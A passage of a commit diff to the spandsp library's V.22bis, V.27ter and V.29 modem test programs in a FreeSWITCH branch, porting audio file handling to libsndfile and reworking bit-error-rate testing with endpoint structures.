 
-v22bis_state_t caller;
-v22bis_state_t answerer;
-
-struct qam_report_control_s
+typedef struct
 {
-    v22bis_state_t *s;
+    v22bis_state_t *v22bis;
+    bert_state_t bert_tx;
+    bert_state_t bert_rx;
+    bert_results_t latest_results;
 #if defined(ENABLE_GUI)
     qam_monitor_t *qam_monitor;
 #endif
     float smooth_power;
     int symbol_no;
-};
+} endpoint_t;
 
-struct qam_report_control_s qam_caller;
-struct qam_report_control_s qam_answerer;
+endpoint_t endpoint[2];
 
+static void reporter(void *user_data, int reason, bert_results_t *results)
+{
+    endpoint_t *s;
+    
+    s = (endpoint_t *) user_data;
+    switch (reason)
+    {
+    case BERT_REPORT_REGULAR:
+        fprintf(stderr, "V.22bis rx %p BERT report regular - %d bits, %d bad bits, %d resyncs\n",
+                user_data,
+                results->total_bits,
+                results->bad_bits,
+                results->resyncs);
+        memcpy(&s->latest_results, results, sizeof(s->latest_results));
+        break;
+    default:
+        fprintf(stderr, 
+                "V.22bis rx %p BERT report %s\n",
+                user_data,
+                bert_event_to_str(reason));
+        break;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
 static void v22bis_putbit(void *user_data, int bit)
 {
-    v22bis_state_t *s;
+    endpoint_t *s;
     int i;
     int len;
+    int bit_rate;
     complexf_t *coeffs;
     
-    s = (v22bis_state_t *) user_data;
+    s = (endpoint_t *) user_data;
     if (bit < 0)
     {
         /* Special conditions */
-        printf("V.22bis rx status is %s (%d)\n", signal_status_to_str(bit), bit);
+        printf("V.22bis rx %p status is %s (%d)\n", user_data, signal_status_to_str(bit), bit);
         switch (bit)
         {
         case SIG_STATUS_TRAINING_SUCCEEDED:
-            len = v22bis_equalizer_state(s, &coeffs);
+            bit_rate = v22bis_current_bit_rate(s->v22bis);
+            printf("Negotiated bit rate: %d\n", bit_rate);
+            len = v22bis_rx_equalizer_state(s->v22bis, &coeffs);
             printf("Equalizer:\n");
             for (i = 0;  i < len;  i++)
                 printf("%3d (%15.5f, %15.5f) -> %15.5f\n", i, coeffs[i].re, coeffs[i].im, powerf(&coeffs[i]));
@@ -121,38 +138,20 @@
         return;
     }
 
-    if (bit != tx_buf[rx_ptr])
-    {
-        printf("Rx bit %d - %d\n", rx_bits, bit);
-        rx_bad_bits++;
-    }
-    rx_ptr++;
-    if (rx_ptr > 1000)
-        rx_ptr = 0;
-    rx_bits++;
-    if ((rx_bits % 100000) == 0)
-    {
-        printf("%d bits received, %d bad bits\r", rx_bits, rx_bad_bits);
-        fflush(stdout);
-    }
+    if (decode_test_file)
+        printf("Rx bit %p-%d - %d\n", user_data, rx_bits++, bit);
+    else
+        bert_put_bit(&s->bert_rx, bit);
 }
 /*- End of function --------------------------------------------------------*/
 
 static int v22bis_getbit(void *user_data)
 {
+    endpoint_t *s;
     int bit;
-    static int tx_bits = 0;
 
-    bit = rand() & 1;
-    tx_buf[tx_ptr++] = bit;
-    if (tx_ptr > 1000)
-        tx_ptr = 0;
-    //printf("Tx bit %d\n", bit);
-    if (++tx_bits > 100000)
-    {
-        tx_bits = 0;
-        bit = 2;
-    }
+    s = (endpoint_t *) user_data;
+    bit = bert_get_bit(&s->bert_tx);
     return bit;
 }
 /*- End of function --------------------------------------------------------*/
@@ -163,23 +162,24 @@
     int len;
     complexf_t *coeffs;
     float fpower;
-    struct qam_report_control_s *s;
+    endpoint_t *s;
 
-    s = (struct qam_report_control_s *) user_data;
+    s = (endpoint_t *) user_data;
     if (constel)
     {
 #if defined(ENABLE_GUI)
         if (use_gui)
         {
             qam_monitor_update_constel(s->qam_monitor, constel);
-            qam_monitor_update_carrier_tracking(s->qam_monitor, v22bis_rx_carrier_frequency(s->s));
-            qam_monitor_update_symbol_tracking(s->qam_monitor, v22bis_symbol_timing_correction(s->s));
+            qam_monitor_update_carrier_tracking(s->qam_monitor, v22bis_rx_carrier_frequency(s->v22bis));
+            qam_monitor_update_symbol_tracking(s->qam_monitor, v22bis_rx_symbol_timing_correction(s->v22bis));
         }
 #endif
         fpower = (constel->re - target->re)*(constel->re - target->re)
                + (constel->im - target->im)*(constel->im - target->im);
         s->smooth_power = 0.95f*s->smooth_power + 0.05f*fpower;
-        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f\n",
+
+        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f %8.4f\n",
                s->symbol_no,
                constel->re,
                constel->im,
@@ -187,13 +187,14 @@
                target->im,
                symbol,
                fpower,
-               s->smooth_power);
+               s->smooth_power,
+               v22bis_rx_signal_power(s->v22bis));
         s->symbol_no++;
     }
     else
     {
         printf("Gardner step %d\n", symbol);
-        len = v22bis_equalizer_state(s->s, &coeffs);
+        len = v22bis_rx_equalizer_state(s->v22bis, &coeffs);
         printf("Equalizer A:\n");
         for (i = 0;  i < len;  i++)
             printf("%3d (%15.5f, %15.5f) -> %15.5f\n", i, coeffs[i].re, coeffs[i].im, powerf(&coeffs[i]));
@@ -207,15 +208,16 @@
 
 int main(int argc, char *argv[])
 {
-    int16_t caller_amp[BLOCK_LEN];
-    int16_t answerer_amp[BLOCK_LEN];
-    int16_t caller_model_amp[BLOCK_LEN];
-    int16_t answerer_model_amp[BLOCK_LEN];
+    int16_t amp[2][BLOCK_LEN];
+    int16_t model_amp[2][BLOCK_LEN];
     int16_t out_amp[2*BLOCK_LEN];
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int outframes;
     int samples;
+    int samples2;
     int i;
+    int j;
     int test_bps;
     int line_model_no;
     int bits_per_test;
@@ -228,20 +230,32 @@
     channel_codec = MUNGE_CODEC_NONE;
     test_bps = 2400;
     line_model_no = 0;
+    decode_test_file = NULL;
     noise_level = -70;
     signal_level = -13;
     bits_per_test = 50000;
     log_audio = FALSE;
-    while ((opt = getopt(argc, argv, "b:c:glm:n:s:")) != -1)
+    while ((opt = getopt(argc, argv, "b:B:c:d:glm:n:s:")) != -1)
     {
         switch (opt)
         {
         case 'b':
+            test_bps = atoi(optarg);
+            if (test_bps != 2400  &&  test_bps != 1200)
+            {
+                fprintf(stderr, "Invalid bit rate specified\n");
+                exit(2);
+            }
+            break;
+        case 'B':
             bits_per_test = atoi(optarg);
             break;
         case 'c':
             channel_codec = atoi(optarg);
             break;
+        case 'd':
+            decode_test_file = optarg;
+            break;
         case 'g':
 #if defined(ENABLE_GUI)
             use_gui = TRUE;
@@ -268,129 +282,135 @@
             break;
         }
     }
-    argc -= optind;
-    argv += optind;
-    if (argc > 0)
+    inhandle = NULL;
+    if (decode_test_file)
     {
-        if (strcmp(argv[0], "2400") == 0)
-            test_bps = 2400;
-        else if (strcmp(argv[0], "1200") == 0)
-            test_bps = 1200;
-        else
+        /* We will decode the audio from a file. */
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
-            fprintf(stderr, "Invalid bit rate\n");
+            fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
             exit(2);
         }
     }
-    outhandle = AF_NULL_FILEHANDLE;
+
+    outhandle = NULL;
     if (log_audio)
     {
-        if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 2)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }
-    v22bis_init(&caller, test_bps, 2, TRUE, v22bis_getbit, v22bis_putbit, &caller);
-    v22bis_tx_power(&caller, signal_level);
-    /* Move the carrier off a bit */
-    caller.tx.carrier_phase_rate = dds_phase_ratef(1207.0f);
-    v22bis_init(&answerer, test_bps, 2, FALSE, v22bis_getbit, v22bis_putbit, &answerer);
-    v22bis_tx_power(&answerer, signal_level);
-    answerer.tx.carrier_phase_rate = dds_phase_ratef(2407.0f);
-    v22bis_set_qam_report_handler(&caller, qam_report, (void *) &qam_caller);
-    v22bis_set_qam_report_handler(&answerer, qam_report, (void *) &qam_answerer);
-    span_log_set_level(&caller.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
-    span_log_set_tag(&caller.logging, "caller");
-    span_log_set_level(&answerer.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
-    span_log_set_tag(&answerer.logging, "answerer");
+    memset(endpoint, 0, sizeof(endpoint));
 
-    qam_caller.s = &caller;
-    qam_caller.smooth_power = 0.0f;
-    qam_caller.symbol_no = 0;
+    for (i = 0;  i < 2;  i++)
+    {
+        endpoint[i].v22bis = v22bis_init(NULL, test_bps, V22BIS_GUARD_TONE_1800HZ, (i == 0), v22bis_getbit, &endpoint[i], v22bis_putbit, &endpoint[i]);
+        v22bis_tx_power(endpoint[i].v22bis, signal_level);
+        /* Move the carrier off a bit */
+        endpoint[i].v22bis->tx.carrier_phase_rate = dds_phase_ratef((i == 0)  ?  1207.0f  :  2407.0f);
+        v22bis_rx_set_qam_report_handler(endpoint[i].v22bis, qam_report, (void *) &endpoint[i]);
+        span_log_set_level(&endpoint[i].v22bis->logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME | SPAN_LOG_FLOW);
+        span_log_set_tag(&endpoint[i].v22bis->logging, (i == 0)  ?  "caller"  :  "answerer");
+        endpoint[i].smooth_power = 0.0f;
+        endpoint[i].symbol_no = 0;
+        bert_init(&endpoint[i].bert_tx, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
+        bert_init(&endpoint[i].bert_rx, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
+        bert_set_report(&endpoint[i].bert_rx, 10000, reporter, &endpoint[i]);
+    }
 
-    qam_answerer.s = &answerer;
-    qam_answerer.smooth_power = 0.0f;
-    qam_answerer.symbol_no = 0;
-
+    
 #if defined(ENABLE_GUI)
     if (use_gui)
     {
-        qam_caller.qam_monitor = qam_monitor_init(6.0f, "Calling modem");
-        qam_answerer.qam_monitor = qam_monitor_init(6.0f, "Answering modem");
+        endpoint[0].qam_monitor = qam_monitor_init(6.0f, "Calling modem");
+        endpoint[1].qam_monitor = qam_monitor_init(6.0f, "Answering modem");
     }
 #endif
-
     if ((model = both_ways_line_model_init(line_model_no, (float) noise_level, line_model_no, (float) noise_level, channel_codec, 0)) == NULL)
     {
         fprintf(stderr, "    Failed to create line model\n");
         exit(2);
     }
+    samples = 0;
     for (;;)
     {
-        samples = v22bis_tx(&caller, caller_amp, BLOCK_LEN);
+        for (i = 0;  i < 2;  i++)
+        {
+            samples = v22bis_tx(endpoint[i].v22bis, amp[i], BLOCK_LEN);
 #if defined(ENABLE_GUI)
-        if (use_gui)
-            qam_monitor_update_audio_level(qam_caller.qam_monitor, caller_amp, samples);
+            if (use_gui)
+                qam_monitor_update_audio_level(endpoint[i].qam_monitor, amp[i], samples);
 #endif
-        if (samples == 0)
-        {
-            printf("Restarting on zero output\n");
-            v22bis_restart(&caller, test_bps);
-            rx_ptr = 0;
-            tx_ptr = 0;
+            if (samples == 0)
+            {
+                /* Note that we might get a few bad bits as the carrier shuts down. */
+                bert_result(&endpoint[i].bert_rx, &endpoint[i].latest_results);
+
+                bert_init(&endpoint[i].bert_tx, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
+                bert_init(&endpoint[i].bert_rx, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
+                bert_set_report(&endpoint[i].bert_rx, 10000, reporter, &endpoint[i]);
+
+                printf("Restarting on zero output\n");
+                v22bis_restart(endpoint[i].v22bis, test_bps);
+            }
         }
 
-        samples = v22bis_tx(&answerer, answerer_amp, BLOCK_LEN);
-#if defined(ENABLE_GUI)
-        if (use_gui)
-            qam_monitor_update_audio_level(qam_answerer.qam_monitor, answerer_amp, samples);
+#if 1
+        both_ways_line_model(model, 
+                             model_amp[0],
+                             amp[0],
+                             model_amp[1],
+                             amp[1],
+                             samples);
+#else
+        vec_copyi16(model_amp[0], amp[0], samples);
+        vec_copyi16(model_amp[1], amp[1], samples);
 #endif
-        if (samples == 0)
+        if (decode_test_file)
         {
-            printf("Restarting on zero output\n");
-            v22bis_restart(&answerer, test_bps);
-            rx_ptr = 0;
-            tx_ptr = 0;
+            samples2 = sf_readf_short(inhandle, model_amp[0], samples);
+            if (samples2 != samples)
+                break;
         }
+        for (i = 0;  i < 2;  i++)
+        {
+            span_log_bump_samples(&endpoint[i].v22bis->logging, samples);
+            v22bis_rx(endpoint[i ^ 1].v22bis, model_amp[i], samples);
+            for (j = 0;  j < samples;  j++)
+                out_amp[2*j + i] = model_amp[i][j];
+            for (  ;  j < BLOCK_LEN;  j++)
+                out_amp[2*j + i] = 0;
+        }
 
-        both_ways_line_model(model, 
-                             caller_model_amp,
-                             caller_amp,
-                             answerer_model_amp,
-                             answerer_amp,
-                             samples);
-
-        v22bis_rx(&answerer, caller_model_amp, samples);
-        for (i = 0;  i < samples;  i++)
-            out_amp[2*i] = caller_model_amp[i];
-        for (  ;  i < BLOCK_LEN;  i++)
-            out_amp[2*i] = 0;
-
-        v22bis_rx(&caller, answerer_model_amp, samples);
-        for (i = 0;  i < samples;  i++)
-            out_amp[2*i + 1] = answerer_model_amp[i];
-        for (  ;  i < BLOCK_LEN;  i++)
-            out_amp[2*i + 1] = 0;
-
         if (log_audio)
         {
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      out_amp,
-                                      BLOCK_LEN);
+            outframes = sf_writef_short(outhandle, out_amp, BLOCK_LEN);
             if (outframes != BLOCK_LEN)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
         }
     }
+#if defined(ENABLE_GUI)
+    if (use_gui)
+        qam_wait_to_end(endpoint[0].qam_monitor);
+#endif
+    if (decode_test_file)
+    {
+        if (sf_close(inhandle))
+        {
+            fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
+            exit(2);
+        }
+    }
     if (log_audio)
     {
-        if (afCloseFile(outhandle) != 0)
+        if (sf_close(outhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/v27ter_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v27ter_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/v27ter_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v27ter_tests.c,v 1.93 2008/09/07 06:39:52 steveu Exp $
+ * $Id: v27ter_tests.c,v 1.106 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \page v27ter_tests_page V.27ter modem tests
@@ -35,7 +35,7 @@
    receive modem. It is also the only test mode provided for evaluating the
    transmit modem.
 
- - A V.27ter receive modem is used to decode V.27ter audio, stored in a wave file.
+ - A V.27ter receive modem is used to decode V.27ter audio, stored in an audio file.
    This is good way to evaluate performance with audio recorded from other
    models of modem, and with real world problematic telephone lines.
 
@@ -45,6 +45,9 @@
 \section v27ter_tests_page_sec_2 How is it used?
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -58,8 +61,12 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -92,48 +99,20 @@
 {
     switch (reason)
     {
-    case BERT_REPORT_SYNCED:
-        printf("BERT report synced\n");
-        break;
-    case BERT_REPORT_UNSYNCED:
-        printf("BERT report unsync'ed\n");
-        break;
     case BERT_REPORT_REGULAR:
-        printf("BERT report regular - %d bits, %d bad bits, %d resyncs\n", results->total_bits, results->bad_bits, results->resyncs);
+        fprintf(stderr, "BERT report regular - %d bits, %d bad bits, %d resyncs\n", results->total_bits, results->bad_bits, results->resyncs);
         memcpy(&latest_results, results, sizeof(latest_results));
         break;
-    case BERT_REPORT_GT_10_2:
-        printf("BERT report > 1 in 10^2\n");
-        break;
-    case BERT_REPORT_LT_10_2:
-        printf("BERT report < 1 in 10^2\n");
-        break;
-    case BERT_REPORT_LT_10_3:
-        printf("BERT report < 1 in 10^3\n");
-        break;
-    case BERT_REPORT_LT_10_4:
-        printf("BERT report < 1 in 10^4\n");
-        break;
-    case BERT_REPORT_LT_10_5:
-        printf("BERT report < 1 in 10^5\n");
-        break;
-    case BERT_REPORT_LT_10_6:
-        printf("BERT report < 1 in 10^6\n");
-        break;
-    case BERT_REPORT_LT_10_7:
-        printf("BERT report < 1 in 10^7\n");
-        break;
     default:
-        printf("BERT report reason %d\n", reason);
+        fprintf(stderr, "BERT report %s\n", bert_event_to_str(reason));
         break;
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-static int v27ter_rx_status(void *user_data, int status)
+static void v27ter_rx_status(void *user_data, int status)
 {
     printf("V.27ter rx status is %s (%d)\n", signal_status_to_str(status), status);
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -151,10 +130,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int v27ter_tx_status(void *user_data, int status)
+static void v27ter_tx_status(void *user_data, int status)
 {
     printf("V.27ter tx status is %s (%d)\n", signal_status_to_str(status), status);
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -193,7 +171,7 @@
 #endif
         error = constel->im*target->re - constel->re*target->im;
         printf("Tracking error %f %f %f %f %f %f\n", error, v27ter_rx_carrier_frequency(rx), constel->re, constel->im, target->re, target->im);
-        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f %9.4f %7.3f %7.2f\n",
+        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f %9.4f %7.3f %7.4f\n",
                symbol_no,
                constel->re,
                constel->im,
@@ -209,7 +187,9 @@
         printf("Equalizer B:\n");
         for (i = 0;  i < len;  i++)
             printf("%3d (%15.5f, %15.5f) -> %15.5f\n", i, coeffs[i].re, coeffs[i].im, powerf(&coeffs[i]));
+#if defined(WITH_SPANDSP_INTERNALS)
         printf("Gardtest %d %f %d\n", symbol_no, v27ter_rx_symbol_timing_correction(rx), rx->gardner_integrate);
+#endif
         printf("Carcar %d %f\n", symbol_no, v27ter_rx_carrier_frequency(rx));
 #if defined(ENABLE_GUI)
         if (use_gui)
@@ -240,13 +220,13 @@
 
 int main(int argc, char *argv[])
 {
-    v27ter_rx_state_t rx;
-    v27ter_tx_state_t tx;
+    v27ter_rx_state_t *rx;
+    v27ter_tx_state_t *tx;
     bert_results_t bert_results;
     int16_t gen_amp[BLOCK_LEN];
     int16_t amp[BLOCK_LEN];
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int outframes;
     int samples;
     int tep;
@@ -255,11 +235,12 @@
     int signal_level;
     int bits_per_test;
     int line_model_no;
-    int block;
+    int block_no;
     int log_audio;
     int channel_codec;
     int rbs_pattern;
     int opt;
+    logging_state_t *logging;
 
     channel_codec = MUNGE_CODEC_NONE;
     rbs_pattern = 0;
@@ -272,11 +253,19 @@
     signal_level = -13;
     bits_per_test = 50000;
     log_audio = FALSE;
-    while ((opt = getopt(argc, argv, "b:c:d:glm:n:r:s:t")) != -1)
+    while ((opt = getopt(argc, argv, "b:B:c:d:glm:n:r:s:t")) != -1)
     {
         switch (opt)
         {
         case 'b':
+            test_bps = atoi(optarg);
+            if (test_bps != 4800  &&  test_bps != 2400)
+            {
+                fprintf(stderr, "Invalid bit rate specified\n");
+                exit(2);
+            }
+            break;
+        case 'B':
             bits_per_test = atoi(optarg);
             break;
         case 'c':
@@ -317,51 +306,38 @@
             break;
         }
     }
-    argc -= optind;
-    argv += optind;
-    if (argc > 0)
-    {
-        if (strcmp(argv[0], "4800") == 0)
-            test_bps = 4800;
-        else if (strcmp(argv[0], "2400") == 0)
-            test_bps = 2400;
-        else
-        {
-            fprintf(stderr, "Invalid bit rate\n");
-            exit(2);
-        }
-    }
-
     inhandle = NULL;
     outhandle = NULL;
 
     if (log_audio)
     {
-        if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }
 
     if (decode_test_file)
     {
-        /* We will decode the audio from a wave file. */
-        if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        /* We will decode the audio from a file. */
+        tx = NULL;
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
             exit(2);
         }
     }
     else
     {
         /* We will generate V.27ter audio, and add some noise to it. */
-        v27ter_tx_init(&tx, test_bps, tep, v27tergetbit, NULL);
-        v27ter_tx_power(&tx, signal_level);
-        v27ter_tx_set_modem_status_handler(&tx, v27ter_tx_status, (void *) &tx);
+        tx = v27ter_tx_init(NULL, test_bps, tep, v27tergetbit, NULL);
+        v27ter_tx_power(tx, signal_level);
+        v27ter_tx_set_modem_status_handler(tx, v27ter_tx_status, (void *) tx);
         /* Move the carrier off a bit */
-        tx.carrier_phase_rate = dds_phase_ratef(1810.0f);
-
+#if defined(WITH_SPANDSP_INTERNALS)
+        tx->carrier_phase_rate = dds_phase_ratef(1810.0f);
+#endif
         bert_init(&bert, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
         bert_set_report(&bert, 10000, reporter, NULL);
 
@@ -372,11 +348,12 @@
         }
     }
 
-    v27ter_rx_init(&rx, test_bps, v27terputbit, NULL);
-    v27ter_rx_set_modem_status_handler(&rx, v27ter_rx_status, (void *) &rx);
-    v27ter_rx_set_qam_report_handler(&rx, qam_report, (void *) &rx);
-    span_log_set_level(&rx.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
-    span_log_set_tag(&rx.logging, "V.27ter-rx");
+    rx = v27ter_rx_init(NULL, test_bps, v27terputbit, NULL);
+    v27ter_rx_set_modem_status_handler(rx, v27ter_rx_status, (void *) rx);
+    v27ter_rx_set_qam_report_handler(rx, qam_report, (void *) rx);
+    logging = v27ter_rx_get_logging_state(rx);
+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
+    span_log_set_tag(logging, "V.27ter-rx");
 
 #if defined(ENABLE_GUI)
     if (use_gui)
@@ -391,14 +368,11 @@
 #endif
 
     memset(&latest_results, 0, sizeof(latest_results));
-    for (block = 0;  ;  block++)
+    for (block_no = 0;  ;  block_no++)
     {
         if (decode_test_file)
         {
-            samples = afReadFrames(inhandle,
-                                   AF_DEFAULT_TRACK,
-                                   amp,
-                                   BLOCK_LEN);
+            samples = sf_readf_short(inhandle, amp, BLOCK_LEN);
 #if defined(ENABLE_GUI)
             if (use_gui)
                 qam_monitor_update_audio_level(qam_monitor, amp, samples);
@@ -408,7 +382,7 @@
         }
         else
         {
-            samples = v27ter_tx(&tx, gen_amp, BLOCK_LEN);
+            samples = v27ter_tx(tx, gen_amp, BLOCK_LEN);
 #if defined(ENABLE_GUI)
             if (use_gui)
                 qam_monitor_update_audio_level(qam_monitor, gen_amp, samples);
@@ -419,9 +393,9 @@
 
                 /* Push a little silence through, to ensure all the data bits get out of the buffers */
                 memset(amp, 0, BLOCK_LEN*sizeof(int16_t));
-                v27ter_rx(&rx, amp, BLOCK_LEN);
-                v27ter_rx(&rx, amp, BLOCK_LEN);
-                v27ter_rx(&rx, amp, BLOCK_LEN);
+                v27ter_rx(rx, amp, BLOCK_LEN);
+                v27ter_rx(rx, amp, BLOCK_LEN);
+                v27ter_rx(rx, amp, BLOCK_LEN);
 
                 /* Note that we might get a few bad bits as the carrier shuts down. */
                 bert_result(&bert, &bert_results);
@@ -442,9 +416,9 @@
                 }
                 memset(&latest_results, 0, sizeof(latest_results));
                 signal_level--;
-                v27ter_tx_restart(&tx, test_bps, tep);
-                v27ter_tx_power(&tx, signal_level);
-                v27ter_rx_restart(&rx, test_bps, FALSE);
+                v27ter_tx_restart(tx, test_bps, tep);
+                v27ter_tx_power(tx, signal_level);
+                v27ter_rx_restart(rx, test_bps, FALSE);
                 bert_init(&bert, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
                 bert_set_report(&bert, 10000, reporter, NULL);
                 one_way_line_model_release(line_model);
@@ -457,13 +431,10 @@
 
             if (log_audio)
             {
-                outframes = afWriteFrames(outhandle,
-                                          AF_DEFAULT_TRACK,
-                                          gen_amp,
-                                          samples);
+                outframes = sf_writef_short(outhandle, gen_amp, samples);
                 if (outframes != samples)
                 {
-                    fprintf(stderr, "    Error writing wave file\n");
+                    fprintf(stderr, "    Error writing audio file\n");
                     exit(2);
                 }
             }
@@ -473,7 +444,7 @@
         if (use_gui  &&  !decode_test_file)
             line_model_monitor_line_spectrum_update(amp, samples);
 #endif
-        v27ter_rx(&rx, amp, samples);
+        v27ter_rx(rx, amp, samples);
     }
     if (!decode_test_file)
     {
@@ -494,11 +465,19 @@
     if (use_gui)
         qam_wait_to_end(qam_monitor);
 #endif
+    if (decode_test_file)
+    {
+        if (sf_close(inhandle))
+        {
+            fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
+            exit(2);
+        }
+    }
     if (log_audio)
     {
-        if (afCloseFile(outhandle))
+        if (sf_close(outhandle))
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/v29_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v29_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/v29_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v29_tests.c,v 1.106 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v29_tests.c,v 1.120 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \page v29_tests_page V.29 modem tests
@@ -35,7 +35,7 @@
    receive modem. It is also the only test mode provided for evaluating the
    transmit modem.
 
- - A V.29 receive modem is used to decode V.29 audio, stored in a wave file.
+ - A V.29 receive modem is used to decode V.29 audio, stored in an audio file.
    This is good way to evaluate performance with audio recorded from other
    models of modem, and with real world problematic telephone lines.
 
@@ -45,6 +45,9 @@
 \section v29_tests_page_sec_2 How is it used?
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -58,8 +61,12 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -91,45 +98,18 @@
 {
     switch (reason)
     {
-    case BERT_REPORT_SYNCED:
-        printf("BERT report synced\n");
-        break;
-    case BERT_REPORT_UNSYNCED:
-        printf("BERT report unsync'ed\n");
-        break;
     case BERT_REPORT_REGULAR:
-        printf("BERT report regular - %d bits, %d bad bits, %d resyncs\n", results->total_bits, results->bad_bits, results->resyncs);
+        fprintf(stderr, "BERT report regular - %d bits, %d bad bits, %d resyncs\n", results->total_bits, results->bad_bits, results->resyncs);
         memcpy(&latest_results, results, sizeof(latest_results));
         break;
-    case BERT_REPORT_GT_10_2:
-        printf("BERT report > 1 in 10^2\n");
-        break;
-    case BERT_REPORT_LT_10_2:
-        printf("BERT report < 1 in 10^2\n");
-        break;
-    case BERT_REPORT_LT_10_3:
-        printf("BERT report < 1 in 10^3\n");
-        break;
-    case BERT_REPORT_LT_10_4:
-        printf("BERT report < 1 in 10^4\n");
-        break;
-    case BERT_REPORT_LT_10_5:
-        printf("BERT report < 1 in 10^5\n");
-        break;
-    case BERT_REPORT_LT_10_6:
-        printf("BERT report < 1 in 10^6\n");
-        break;
-    case BERT_REPORT_LT_10_7:
-        printf("BERT report < 1 in 10^7\n");
-        break;
     default:
-        printf("BERT report reason %d\n", reason);
+        fprintf(stderr, "BERT report %s\n", bert_event_to_str(reason));
         break;
     }
 }
